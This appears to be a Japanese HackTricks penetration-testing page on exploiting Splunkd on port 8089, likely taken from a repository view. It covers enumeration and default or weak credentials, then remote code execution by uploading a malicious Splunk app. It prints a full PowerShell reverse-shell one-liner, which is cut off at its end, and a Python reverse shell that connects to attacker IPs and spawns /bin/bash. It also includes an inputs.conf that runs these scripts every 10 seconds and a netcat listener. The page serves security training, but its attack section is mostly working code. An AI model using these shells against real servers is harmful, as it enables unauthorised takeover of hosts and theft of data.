hacktricks/network-services-pentesting/8089-splunkd.md
2023-07-07 23:42:27 +00:00

134 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 8089 - Splunkdのペンテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## **基本情報**
**Splunk**は、データを収集、分析、可視化するための**ログ分析ツール**です。元々SIEMツールとして意図されていなかったものの、Splunkは**セキュリティモニタリングとビジネス分析**によく使用されます。Splunkの展開では、**機密データ**が保管されることがあり、攻撃者にとっては豊富な情報源となる可能性があります。
**デフォルトポート:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Splunkのウェブサーバーはデフォルトでポート8000で実行されます。
{% endhint %}
## 列挙
### 無料版
Splunk Enterpriseの試用版は60日後に**無料版に変換**され、**認証は必要ありません**。システム管理者がSplunkの試用版をインストールしてテストすることは珍しくありませんが、その後忘れられることがあります。これにより、環境にセキュリティホールが導入され、認証の形式がない無料版に自動的に変換されます。予算の制約により、一部の組織は無料版を選択する場合がありますが、ユーザー/ロール管理の重要性を十分に理解していない場合があります。
### デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**`admin:changeme`**であり、ログインページに便利に表示されます。\
ただし、**最新バージョンのSplunk**では、**インストールプロセス中に資格情報が設定**されます。デフォルトの資格情報が機能しない場合は、`admin``Welcome``Welcome1``Password123`などの一般的な弱いパスワードを確認する価値があります。
### 情報の取得
Splunkにログインすると、データを**閲覧**したり、**レポート**を実行したり、**ダッシュボード**を作成したり、Splunkbaseライブラリから**アプリケーションをインストール**したり、カスタムアプリケーションをインストールしたりできます。\
また、Splunkではコードを実行することもできます。Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、複数のコード実行方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。
さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
### Shodan
* `Splunkビルド`
## RCE
### カスタムアプリケーションの作成
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。\
注意点として、**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。
[**こちら**](https://github.com/0xjpuff/reverse\_shell\_splunk)のSplunkパッケージを使用して、手助けをします。このリポジトリの**`bin`**ディレクトリには、[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)の例があります。以下、ステップバイステップで進めていきましょう。
これを実現するために、まず以下のディレクトリ構造でカスタムSplunkアプリケーションを作成する必要があります
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`**ディレクトリには、実行するスクリプト(この場合は**PowerShell**のリバースシェル)が含まれており、デフォルトのディレクトリには`inputs.conf`ファイルがあります。私たちのリバースシェルは、**PowerShellのワンライナー**です:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)ファイルは、Splunkに**どのスクリプトを実行するか**とその他の条件を指定します。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位で指定され、この設定が存在する場合にのみ、入力スクリプトが実行されます。
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
必要なのは、アプリケーションが展開されたときに実行され、PowerShellのワンライナーを実行する`.bat`ファイルです。
次のステップは、`Install app from file`を選択し、アプリケーションをアップロードすることです。
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
悪意のあるカスタムアプリをアップロードする前に、Netcatまたは[socat](https://linux.die.net/man/1/socat)を使用してリスナーを開始しましょう。
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
`アプリのアップロード`ページで、`参照`をクリックし、先に作成したtarボールを選択し、`アップロード`をクリックします。アプリケーションのステータスが`有効`に自動的に切り替わるため、アプリケーションをアップロードするとすぐに逆シェルが受信されます。
#### Linux
もし**Linuxホスト**を扱っている場合、カスタムの悪意のあるアプリを作成してtarボールをアップロードする前に、`rev.py`のPythonスクリプトを編集する必要があります。それ以外のプロセスは同じであり、Netcatリスナーで逆シェル接続を受け取り、操作を開始することができます。
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & 特権昇格
次のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかについて説明しています:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## 参考文献
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>